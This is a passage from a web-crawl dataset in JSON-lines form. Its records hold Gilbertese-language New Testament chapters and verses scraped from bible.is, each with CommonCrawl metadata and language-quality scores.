bouannanti.\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/1John\/5","date":"2016-05-29T11:47:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464049278887.83\/warc\/CC-MAIN-20160524002118-00211-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":599,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.254,"stopwords_ratio":0.421,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 21:3636Ma kam na tantani n taai nako ao tataro b'a e aonga n reke i roumi te marurung are kam na kona iai ni biri nako mani baika nang roko, ao te kona n tei i matan Natin te Aomata. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/21\/36","date":"2016-05-31T22:09:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464053209501.44\/warc\/CC-MAIN-20160524012649-00125-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":0.9998010993,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9998010993003845}","num_words":56,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.257,"stopwords_ratio":0.304,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"5I tangiringkami b'a kam na taetae n taetae aika aki ataaki, ma e a raoiroi riki ngkana kam taetae ni burabeti. E bongana riki te aomata ane taetae ni burabeti nakon ane taetae n taetae aika aki ataaki; ma ti ngkana iai ae kona ni kab'arab'ara nanon ana taeka b'a e aonga n reke kateimatoan te ekaretia iai.\n1 KORINTO 14:5\nFREE!\nOne App.\n1189 Languages.","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/14\/5","date":"2016-05-30T09:04:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464050955095.64\/warc\/CC-MAIN-20160524004915-00226-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":63,"character_repetition_ratio":0.099,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.397,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia ae ngkai kam a manga uaia ni maiu ma Kristo man te mate, ao kam na ukoukori b'ain eta, ike E mena iai Kristo n tekateka i angaatain te Atua. 2Kam na iangoi b'ain eta, ao tai iangoi b'ain aon te aba. 3B'a kanga ai aron ae kam a tia ni mate, ao a karabaki maiumi ma Kristo i nanon te Atua. 4Ngkana E kaotaki Kristo, are maiura, ao ane kam na kaotaki naba ma Ngaia n neboaki. 5Ma ngaia ae kam na kamate aron rab'atami akana b'ain aon te aba, aika te wene ni bure, te kammaira, te kaib'ab'aru, te tangira ae buakaka, ao te mataai ni kanib'aib'ai ae ti te bo arona ma taromaurian te bouannanti. 6I bukin aaro akanne, ao E na roko iai unin te Atua i aoia ake a aki ongeaba nako Ina. 7Kam maiuakin aaro akanne ngkoa, ngke kam mena i nanoia. 8Ma ngkai, kam na aki manga karaoi baikai: te un, te nanobuaka, te karekekai, te taetaebuaka, ao te taetae ae aki riai mai wiimi. 9E na tai kewe temanna nakon temanna ngkai kam a tia ni kaki te aro ni maiu ngkoa ma kateina, 10ao kam a tia ni karina i aomi te aomata ae boou, are e teimatoa arona ni kakabouaki iroun Teuare karikia b'a katotongana, b'a kam aonga n ataia raoi. 11Ao n te aro aei, akea iai te kaokoro i marenan te I-Erene ma te I-Iutaia, te aki itiaki ma te aki itiaki, te aomata ae tiaki te I-Erene, te I-Tekute, te toro ma te inaomata: ma ae moamoa i aoni b'aai ni kabane boni Kristo, ae E mena i roura ni kabane. 12Ma ngaia aei, ngkai ana aomata te Atua ngkami aika kam rineaki, aika kam itiaki ma n tangiraki, ao kam na b'aina te nano n nanoanga, te atataiaomata, te nanorinano, te nimamannei, te taotaonaki n nano. 13Kam na i taotaon nanomi, ao kam na i kab'ara bure i roumi, ngkana iai aki raun nanon temanna iroun temanna. B'a aron te UEA ni kab'ara ami bure, ao ai bon aromi naba nako imi. 14Ao kam na b'aina te tangira i aoni baikai ni kabane, b'a ngaia ae boti ni kabaei b'aai ni kabane. 15Ao te raoi are mairouni Kristo e na kairi nanomi; b'a ngaia are kam weteaki nako iai, b'a kam na riki b'a te rab'ata ae ti teuana. Ao kam na katituaraoi. 16E na titiku ni maeka ana taeka Kristo i nanomi; ao kam na anenei taekan Taian Areru ma anene ma kuuna aika kam kairaki iai iroun te Tamnei; kam na anene nakon te Atua ma te nano ni katituaraoi. 17Ao b'aai ni kabane akana kam karaoi ke kam taekin a riai ni bane ni karaoaki n aran te UEA are Iesu, ao kam na katituaraoa te Atua ae te Tama i bukini Kristo. 18Ainenum'a, kam na aantaeka irouia buumi, b'a anne te aro ae riai ngkai kam reitaki ma te UEA. 19Mm'aanenum'a, kam na tangiriia buumi, ao kam na tai unun nako ia. 20Ataei, kam na ongeaba nakoia ami karo ni b'aai ni kabane, b'a anne te bae E kakukureiaki iai te UEA. 21Taama, kam na tai kabonoi nanoia natimi, b'a a kawa ni b'ara nanoia. 22Tooro, kam na ongeaba nakoia ami toka aika aomata ni b'aai ni kabane, tiaki ti i bukini kakukureiaia ngkana a taraingkami; ma kam na karaoia ma nanomi ni koaua, ni maaka te UEA. 23Ao tera ane kam karaoia, kam na karaoia ma nanomi ni koaua, b'a kanga i bukin te UEA, ao tiaki i bukiia aomata; 24ngkai kam ata te UEA b'a E nang anganingkami b'a boon ami m'akuri te baere E a tia ni kawakinna i bukiia ana aomata. B'a Kristo boni Ngaia te Toka ni koaua are kam toro i Rouna. 25B'a ane karaoa ae buakaka ao e na karekea booni mwin ana m'akuri, ao akea te aomata ae na nanonaki.\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Col\/3","date":"2016-05-25T21:21:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464049275328.63\/warc\/CC-MAIN-20160524002115-00022-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":649,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.393,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao te Tiibuteteei ngke E kaaki te b'ai ni kanim are te kanikina are te kaitiua man te nira ni boki, ao e kainab'aabu te aba i karawa i nanon tao te itera n aoa. 2Ao I nooriia anera ake itiman ake a teitei i matan te Atua; ao a anganaki taiani bu aika itiua. 3Ao e roko te anera temanna, ao e tei i rarikin te baonikarea, ao iai i rouna te baan ae te koora ae te baan i bukini kabuokani karea aika boiarara; ao e anganaki karea aika boiarara aika bati, b'a e na uaia ni kaaki ma aia tataro ake a itiaki ni kabaneia i aon te baonikarea are te koora are i nanoaan te kaintokanuea. 4Ao e aetorake bubuni karea ake a boiarara, ma aia tataro ake a itiaki mai bain te anera are tei i matan te Atua. 5Ao e anaa te baan te anera, ao e kanoaia n ain te baonikarea, ao e tewea nako aon te aba; ngke e karaoa aei ao e rebwetata te b'a ma n rurunga, ao e itiiti, ma ni m'aeiei aon te aba. 6Ao anera ake itiman, ake iai i rouia taiani bu ake itiua, a katauraoia b'a a na katang. 7Ngke e katanga ana bu te moa n anera, ao te karau ae matoatoa ae te aiti, ma te ai, aika renganaki n te raraa, a teweaki nako aon te aba; ao e kabuokaki kateni-m'akoron aonnaba, ao a kabuokaki kateni-m'akoroni m'aitini kaai, ao e bane ni kabuokaki te uteute ae mawaawa. 8Ngke e katanga ana bu te anera are te kauoman, ao e teweaki nako marawa te b'ai teuana ae kanga ai aron te maunga ae ab'ab'aki ae ura n te ai; ao e riki n raraa kateni-m'akoroni marawa; 9ao a mate kateni-m'akoroni m'aitiia ake a maiu ake i marawa; ao a uruaki kateni-m'akoroni m'aitini kaibuke. 10Ngke e katanga ana bu te anera are te kateniman, ao e b'aka mai karawa te itoi ae ab'ab'aki, ae ura n ai aron te oi, ao e b'aka i aoni kateni-m'akoroni m'aitini karaanga, ao i aoni koburaken raan. 11Ao aran te itoi arei e atongaki b'a Mao: ao e riki ni mao kateni-m'akoron raan; ao a bati aomata ake a mate ngke a moi n raan akekei, i bukina ngke a riki ni mao. 12Ngke e katanga ana bu te anera are te kaaman, ao e uruaki kateni-m'akoron taai, ma kateni-m'akoron nam'akaina, ma kateni-m'akoron itoi; b'a e aonga ni karooaki kateni-m'akoroia, ao b'a e aonga n aki oota kateni-m'akoron te ngaina, ao ai aron naba te bong. 13Ao I taratara nako ao I nora te ikare ae ti ngaia ni kibakiba i eta ike e rietaata i aani karawa; ao e kaangai n te b'ana ae korakora, \"A na reke kaiia, a na reke kaiia, a na reke kaiia kaain aonnaba ngkana a tang b'anaani bu ake tabeua ake aia bu anera ake teniman ake a nang katang.\"\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/8","date":"2016-05-31T12:08:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464051299749.12\/warc\/CC-MAIN-20160524005459-00117-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.000009656,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000096559524536}","num_words":490,"character_repetition_ratio":0.101,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.445,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 TIMOTEO 4:33a tuangiia aomata b'a a na tai iein, ao a na tai kang am'arake nako, aika E kariki te Atua b'a a na kakanaki ma te katituaraoi irouia aika onimaki ma n ata te koaua. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/1Tim\/4\/3","date":"2016-06-01T05:35:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464054915149.6\/warc\/CC-MAIN-20160524015515-00169-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":0.9997504354,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9997504353523254}","num_words":51,"character_repetition_ratio":0.023,"word_repetition_ratio":0.0,"special_characters_ratio":0.254,"stopwords_ratio":0.333,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"13Ma I tangiringkami, tariu, b'a kam na ataia b'a e m'aiti au tai ae I a tia ni baireia b'a N na nakoimi iai, ma iai te b'ai ae aki toki n tototokoa m'anangau ni karokoa naba te tai aei. I kan rairiia naba tem'angina i buakomi nakon te UEA, n ai aroia ake a tia n rairaki i rou i buakoia botannaomata ake tiaki I-Iutaia.\nROM 1:13\nFREE!\nOne App.\n1189 Languages.","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/1\/13","date":"2016-05-25T19:11:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464049275328.0\/warc\/CC-MAIN-20160524002115-00103-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000070333,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"gil_Latn_score\": 1.0000070333480835}","num_words":71,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.275,"stopwords_ratio":0.38,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1B'a iai n te Tua nuuni baika raraoi aika na roko, ma nu aikai bon tiaki katotongan ni koaua baika raraoi; ao te Tua e bon aki kona ni kakororaoa kaitiakaia akana kaania te Atua ma karea aika ti te arona aika a anganga n te ririki ae koraki n aki toki. 2B'a ngke tao e kona, ao tiaki e toki te aba n anganga karea akanne? B'a ngke a kaitiakaki taan taromauri man aia bure, ao akea namakinani mwin te bure i rouia. 3Ma bon iai manga uringani buure n te ririki ae koraki ni karea akanne. 4B'a a bon aki kona ni kamaunaki buure n raraaia kao mm'aane ma kooti. 5Ma ngaia aei, ngke E nangi roko Kristo i aon te aba, ao E kangai nakon te Atua, \"Ko aki tangira te karea ma te b'ai n tangira, ma Ko anganai rab'atau. 6Ko aki kukurei ni karea aika kabaneaki ni kabuokaki ma karea ni kab'ara buure. 7Ao I taku, 'Noria, I a roko b'a N na toua mwin am taeka, te Atua, n ai aron ae e koreaki b'a taekau ni bokin te Tua.' \" 8B'a E kangai moa, Ko aki tangiri ke ni kukurei n taiani karea ma b'aai n tangira, ma karea aika kabaneaki ni kabuokaki ma karea ni kab'ara buure. E taekina aei e boni ngae ngke karea aikai a kareanaki n aron taekaia n te Tua. 9Ao i mwina E taku Kristo, \"Noria, I a roko b'a N na toua mwin Am taeka.\" Nanona ngkanne b'a E kaki are te aro n angakarea nikawai, ao E onea mwina n te aro n angakarea ae boou; 10ae ngaia ae a katabuaki iai maiura nakon te Atua b'a ana b'ai, ngke E anga rab'atana Iesu Kristo n ai aron nanon te Atua b'a te karea n te tai ae ti teuana ao akea riki. 11Ao a bane ibonga n tei n te bong ae koraki ni karaoi nakoaia ma n okioki n anga karea aika ai uaia nako naba, aika bon aki kona ni kamaunai buure. 12Ao ngke E a tia Kristo n anga te karea ae ti teuana i bukini buure, ae manena n aki toki, ao E tekateka i angaatain te Atua; 13ao E na tiku ikekei ni kaantaninga te tai are a na kakiaki iai ana kairiribai b'a neni katokaani waena. 14B'a n te karea ae ti teuana, ao E karaoia iai aika a tia ni kaitiakaki man aia bure b'a a na moa n raoiroi n aki toki. 15Ao E kaotioti naba te Tamnei are Raoiroi n aei nako ira; b'a ngke E a tia ni kangai, 16\"Aio te boraraoi ae N na karaoia ma ngaiia i mwini boong akekei, bon ana taeka te Uea; N a karin au tua i nanoia, ao N na koroi i nanoia.\" 17Ao E a manga kangai, \"Ao N na aki manga uring aia bure ma aia buakaka.\" 18Ngkana a a tia baikai ni kab'araki, ao bon akea kainanoan te angakarea i bukini kab'arani buure. 19Ma ngaia aei, taari, ngkai iai i roura te aki maaku n rin n te tabo are moanibaan te tabu ni maten Iesu, 20n te kawai ae boou ae maiu, ae E a tia ni kaukia i bukira, ae te kawai n ri nanon te roki te kunnikai, ae nanonaki iai arona ngke E anga boni Ngaia b'a te karea; 21ao ngkai iai ara Ibonga ae Kakannato ae E mataniwi n ana auti te Atua; 22ao ti na kaania te Atua ma nanora ni koaua ao n ataakin raoi te onimaki, ngkai a tia ni kaitiakaki nanora man namakinani mwin te bure are ti taonaki iai, ao a tia rab'atara n tebokaki n te ran ae itiaki. 23Ao ti na taua ni kamatoa te kaantaninga are ti kaotiotia ma te aki nanokokoraki; b'a E kakaonimaki Teuare atonga te taeka n akoi. 24Ti na iangoa aron temanna ma temanna i roura ni buokira b'a ti na kaota te tangira ni maiura, ao b'a ti na karaoi m'akuri aika raraoi. 25Ao ti na tai kaki arora ni bobotaki, n ai aroia tabem'aang; ma ti na b'aina te aro ni kaunga ni kabatia riki, ngkai kam ataia b'a e a kan roko te bong arei. 26B'a ngkana ti boni kani kateimatoa arora ni karaoa te bure i mwin reken ataakin te koaua i roura, ao bon akea riki i bukira te karea teuana i bukini buure; 27ma ti te tiku ma te maaku n tataninga rokon te motikitaeka ma te ai ae ura m'aka, ae na kamaunaia ana kairiribai te Atua. 28Ane aki ongotaeka nakon ana Tua Moote, ao e kamateaki n aki nanoangaki ngkana e motikaki taekana, b'a e bure n aia bukibuki uoman ke teniman aika kaota ana bure. 29Tera ngkanne aron te aomata ae toutoua Natin te Atua i aani waena, ma n atoatonga te raraa are b'ain te boraraoi are kaitiakaki iai man te bure b'a te b'ai ae aki itiaki, ma ni kamatauningaa te Tamnei n akoi? Iangoia ngkanne b'a m'aitira riki te karawawataki are e na b'akaria b'a mwini motikan taekana! 30B'a ti ata Teuare kangai, \"Au b'ai te kareke kai; N na kabobo Ngai\"; Ao manga aio: \"E na motiki taekaia ana botannaomata te Uea.\" 31Te b'ai ae kakamaaku te b'akara nanoni bain te Atua ae maiu. 32Ma kam na ururing boong ake rimoa, ngke e moa n reke te oota i roumi, ao kam kekeiaki m'aka n taon nanomi nakon taiani maraki ake kam taonaki iai. 33N taai tabetai kam taetaebuakaki ma ni b'ainikirinaki i mataia aomata b'a kanga b'aai ni kamataku; ao n tabetai kam raoniia ake a b'ainikirinaki n te aro aei. 34B'a kam uaia ni maraki ma ake a kabureaki, ao ngke kam kurib'aiaki ao kam kataua ma te kukurei, ngkai kam ataia b'a bon iai ami b'ai aika raraoi riki aika aki mauna i karawa. 35Ma ngaia ae kam na tai kaki aromi n nanomatoa, b'a bon iai kab'aiami ae bati ae na reke iai. 36E riai b'a kam na nanom'aka, b'a kam aonga ni karaoa nanon te Atua ao e na reke i roumi iai te baere e taekinaki n te taeka n akoi. 37B'a e kangai te B'aib'ara, \"B'a ai ti teutana, ao ane E na roko Teuare nangi roko, ao E na aki waeremwe. 38Ao au aomata ae raoiroi e na maiu n te onimaki; ao ngkana e kerikaki, ao I bon aki kukurei i rouna.\" 39Ma tiaki ngaira kaain te kerikaki nakon te mate, ma kaain te onimaki nakon te maiu.\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/10","date":"2016-06-01T07:25:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464056639771.99\/warc\/CC-MAIN-20160524022359-00153-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1083,"character_repetition_ratio":0.041,"word_repetition_ratio":0.006,"special_characters_ratio":0.251,"stopwords_ratio":0.431,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Oin te kaantaninga ni baika ti taekin bon aei: b'a iai i roura te Ibonga ae Kakannato, are tekateka i angaatain ana kaintokanuea ae kakannato te Atua i karawa. 2Bon te tia m'akuri Ngaia n te tabo are moanibaan te tabu are n te um'anrianna ni koaua, are E kateia te Uea, ma tiaki te aomata. 3B'a a rineaki ibonga aika kakannato n tatabemaniia nako nakon aia m'akuri b'a a na anganga b'aintituaraoi ma karea; ma ngaia ae e bon riai iroun ara Ibonga ae Kakannato b'a e na iai naba te b'ai ae E na anga b'a te karea. 4Ngke arona b'a E na mena i aon te aba, ao bon tiaki te ibonga, ngkai bon iai ibonga aika anga b'aintituaraoi n aron are e tangiraki n te Tua. 5Te m'akuri n ibonga are a karaoia bon ti katotongan ao nun are i karawa. Bon ti te bo ma are riki nakoni Moote. Ngke e nang katea te Um'antabunrianna, ao E kangai te Atua, \"Ko na taraia b'a ko na karaoi b'aai ni kabane n ai aron te b'ai ni kakairi are kaotaki nako im i aon te maunga.\" 6Ao E a reke iroun Iesu ngkai te nakoa n ibonga ae rangi ni kakannato riki; ngkai Ngaia ae kona ni karekea te boraraoi ae raoiroi riki i marenan te Atua ma ana aomata, ae te boraraoi ae boboto i aon taian taeka n akoi aika raraoi riki. 7Ngke tao arona b'a e kororaoi raoiroin te moa ni boraraoi arei, ao a na akea kainanoan are te kauoua. 8B'a E kabuakakaia ana aomata te Atua, ngke E kangai, \"Noria, a na roko boong, aika N na karaoa iai te boraraoi ae boou ma te botannaomata ae Iteraera ao te botannaomata ae Iuta. 9E na aki ti te bo ma te boraraoi are I karaoia ma aia bakatibu n te bong are I tauu baiia iai ni kaotinakoia man te aba are Aikubita. I bukina ngke a aki kakaonimaki nakon au boraraoi, ai ngaia anne are I aki mutiakiniia iai, bon ana taeka te Uea. 10B'a aio te boraraoi ae N na karaoia ma te botannaomata ae Iteraera i nanoni boong aika na roko, bon ana taeka te Uea: N na karin au tua i nanon aia iango, ao N na koroi i nanoia. N na riki b'a Atuaia, ao ngaiia a na riki b'a au aomata. 11Ao a na aki manga i reirei: akea temanna ae na reireia kaain ana kawa, ke e na reireia tarina, ni kangai, 'Kam na ata te Uea.' B'a ane a na bane n ataai akana moa ni mangori ma akana moa ni kakannato. 12B'a N na nanoangaiia ni kab'arai aia buakaka, ao N aki manga uring aia bure.\" 13Ngkae E kangai, Te boraraoi ae boou; ao nanona b'a te Atua E a tia ni karaoa te moa ni boraraoi b'a te b'ai nikawai; ao te b'ai ae e a b'ai nikawai ma ni mane e waekoa ni mauna.\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/8","date":"2016-05-31T10:09:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464051268601.70\/warc\/CC-MAIN-20160524005428-00072-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":495,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.459,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao I a manga nora te b'ai teuana i karawa ae e kamimii taraana, ae te b'ai ae ab'ab'aki ae kamimii: bon anera aika itiman, ao iai i rouia kabaneani b'aai ni kamamate; ngaiia aika kaota tokin unin te Atua. 2Ao I nora te b'ai ae kanga ai aroni marawa ae te kiraati ae renganaki n te ai; ao I nooriia naba ake a tokanikai i aon te man arei, ma te bouananti are katotongana, ao i aon naba are e tei te ware i bukin arana, b'a a tei i aoni marawa are te kiraati, n tau aabi ake mairoun te Atua. 3Ao a anenea ana anene Mote are ana toro te Atua, ma ana anene te Tiibuteteei, ao a kaangai, \"Te Uea ae te Atua, ae Moan te M'aka, A kakannato am m'akuri ao a kamimii! A eti ma ni koaua arom, Ngkoe ae aia Uea botannaomata! 4Ai antai ae na aki maku iroum, Te Uea, ma n aki neboa aram? B'a ti Ngkoe ae Ko tabu. A na bane n roko botannaomata nako n taromauriko, b'a a tia n noraki am Babaire aika eti.\" 5Ao i mwini baikai ao I nora te Tembora, are te Um'antabunrianna, b'a e kaukaki; 6ao a oti nako man te Tembora anera aika itiman, ake iai i rouia b'aai ni kamamate ake itiua, ao a kunnikaiaki n te kunnikai ae itiaki ae raneanea, ao a kabaeaki b'ab'aaia ni kabae aika koora. 7Ao temanna ni baike a maiu ake aman e angania anera ake itiman boora aika itiua aika koora aika on n unin te Atua, ae maiu n aki totoki. 8Ao e kaonaki te Tembora n te bubu mani mimitongin te Atua, ao mani m'aakana; ao akea temanna ae kona n rin n te Tembora ni karokoa ae a toki b'aai ni kamamate ake itiua ake aia b'ai anera ake itiman.\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/15","date":"2016-05-25T07:49:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464049274191.57\/warc\/CC-MAIN-20160524002114-00235-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":310,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.448,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"26E anaiia ngkanne aomata akekei B'auro, ao n te bong are i mwina, ngke e tia ni kaitiakia ma ngaiia, ao e rin n te Tembora n anga taekani kaitiakaia b'a te bongi ra are e na toki iai, are a na bane naba iai n anga karea i bukin temanna ma temanna irouia uakekei.\nMWAKURI 21:26\nFREE!\nOne App.\n1189 Languages.","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/21\/26","date":"2016-05-31T14:43:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464051342447.93\/warc\/CC-MAIN-20160524005542-00170-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":60,"character_repetition_ratio":0.007,"word_repetition_ratio":0.0,"special_characters_ratio":0.266,"stopwords_ratio":0.433,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ROM 15:1818B'a N na ninikoria n taekina te baere E a tia ni karaoia Kristo i rou n au taeka ma au m'akuri i bukini kairaia aomata aika tiaki I-Iutaia, b'a a aonga n ongeaba nakon te Atua. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/15\/18","date":"2016-05-25T07:48:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464049274191.57\/warc\/CC-MAIN-20160524002114-00061-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":0.9999457598,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9999457597732544}","num_words":53,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.257,"stopwords_ratio":0.283,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ko na kauringiia am aomata b'a a na aantaeka irouia uea ma taan tautaeka, ao a na ongeaba ma n tauraoi nakoni karaoani m'akuri aika raraoi ni kabane; 2a na tai taetae ni kabuakaka temanna, a na tai unun, a na taotaon nanoia, a na kaota te aro n nimamannei ni kabanea nakoia aomata ni kabaneia. 3B'a ti bon nanobaba naba ngaira ngkoa, ao ti aki ongeaba; ti burebureaki ao ti toronaki n naano nako ni kaib'ab'aru ma baika ti na kakukureiaki iai ni kabane ara bongi ni maiu, ni karaoan te buakaka ma b'ainan te bakantang; ao ti ribaki irouia aomata, ao ngaira ti ribaia aomata. 4Ma ngke e kaotaki ana atataiaomata ma tangiraia aomata iroun te Atua ae ara Tia Kamaiu, 5ao ti a kamaiuaki i Rouna, tiaki i bukini m'akuri aika ti a tia ni karaoi ngke ti kani karaoa nanon te Atua, ma i bukin oin nanona n nanoanga; are E kamaiura iai ri nanon te tebotebo ni kaitiaki n te ran are reitaki ma te manga bungiaki, ao n ana m'akuri te Tamnei are Raoiroi ni manga kabouan te maiu. 6E nurakina ni kabatia te Tamnei are Raoiroi i aora te Atua iroun Iesu Kristo are ara Tia Kamaiu, 7b'a a aonga n reke reitakira ma te Atua n ana akoi, ao e na reke b'a ara b'ai te maiu are aki toki are ti kaantaningaia. 8E koaua te taeka aei. I tangiriko b'a ko na karokoraoa aron taekinani baikai, b'a a aonga akana onimakina te Atua n tarataraia b'a a na kakaraoi m'akuri aika raraoi, aika raoiroi ma ni bongana i bukiia aomata. 9Ma ko na kararoako man taian titiraki ni baba, ma taiani kateiriki, ma unraa, ma kauntaeka i aon taekan te Tua, b'a akea manenaia ao akea naba uaaia. 10Ao i bukin te aomata ae karika te i raraaure n iango irouia aomata, ko na aki manga tabe ma ngaia ngkana ko a tia ni kauoua reireiana; 11ngkai ko a ataia b'a te aomata anne e aki eti arona, ao ana bure a kakoaua arona nako ina b'a e kairua. 12Ngkana I kanakoa Aretema nako im, ke tao Tukiko, ao ko na bareiko ni kawarai i Nikobori; b'a I a tia ni baireia b'a N na kabanea bongin te aumeaang iai. 13Ko na buoka Tena are te rooia ma Aboro, b'a a aonga ni waekoa ni m'ananga, ao taraia b'a a na akea te bae a na kainanoia. 14A reireiaki ara aomata b'a a na kakaraoi m'akuri aika raraoi, b'a a aonga ni buoki kainnano aika riai, ao n te aro aei a bongana iai aia tai. 15A bane ni kamauriko aomata aika mena i rou. Ko na anga ara kamauri nakoia ake a tangirira n te onimaki. E na mena te akoaki i roumi ni kabaneingkami.\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Titus\/3","date":"2016-06-01T05:42:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464054915149.6\/warc\/CC-MAIN-20160524015515-00008-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":466,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.425,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Mairouni B'auro ma Timoteo, aika ana toro Kristo Iesu, nakoia ake a itiaki ni kabaneia, ake a nim ma 